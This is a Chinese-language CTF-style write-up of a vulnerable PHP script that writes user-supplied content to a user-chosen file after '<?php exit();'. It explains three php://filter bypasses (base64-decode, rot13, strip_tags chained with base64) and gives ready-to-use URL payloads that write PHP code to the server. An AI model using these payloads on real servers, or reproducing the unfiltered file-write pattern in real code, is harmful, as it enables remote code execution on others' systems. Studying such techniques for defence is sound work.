源码
<?php
highlight_file(__FILE__);
$filename=$_GET['filename'];
if(isset($filename)){
$content=$_GET['content'];
file_put_contents($filename,'<?php exit();'.$content);
}
分析
通过filename和content参数,利用file_put_contents将内容写入文件,且无过滤,可以利用php伪协议进行绕过。
- 利用php://filter/write=convert.base64-decode/resource=xx.php写入。
- 该方式会将字符串base64解码之后写入,在base64中,
<?php exit();
有<?;
等无效字符会忽略,有效字符为phpexit
进行base64解码,base64是4位一解码,因此需要补全最后一位,任意字符都可,然后把需要的字符串base64编码后传入即可。 - 因此payload为
/?filename=php://filter/write=convert.base64-decode/resource=2.php&content=aPD9waHAgcGhwaW5mbygpOyA/Pg==
- 查看写入的文件,无效字符base64编码后为字符串phpexit。
利用string.rot13进行绕过,限制条件:未开启php.ini中的short_open_tag短标签。
- 利用
php://filter/write=string.rot13/resource=2.php&content=?> <?cuc cucvasb(); ?>
写入文件后,文件内容为<?cuc rkvg();?> <?php phpinfo(); ?>
,如果系统未开启短标签,则可利用成功。
- 利用
组合拳去除xml标签
- php://filter可以指定多个过滤器,可以指定多个过滤器进行执行绕过。
- strip_tags可以去除xml标签代码,手动闭合之后进行清楚,然后写入想要写入的代码即可。
- payload:
php://filter/write=string.strip_tags|convert.base64-decode/resource=2.php&content=?>PD9waHAgcGhwaW5mbygpOyA/Pg==
,利用strip_tags清除闭合代码<?php exit();?>,之后base64解码写入phpinfo即可。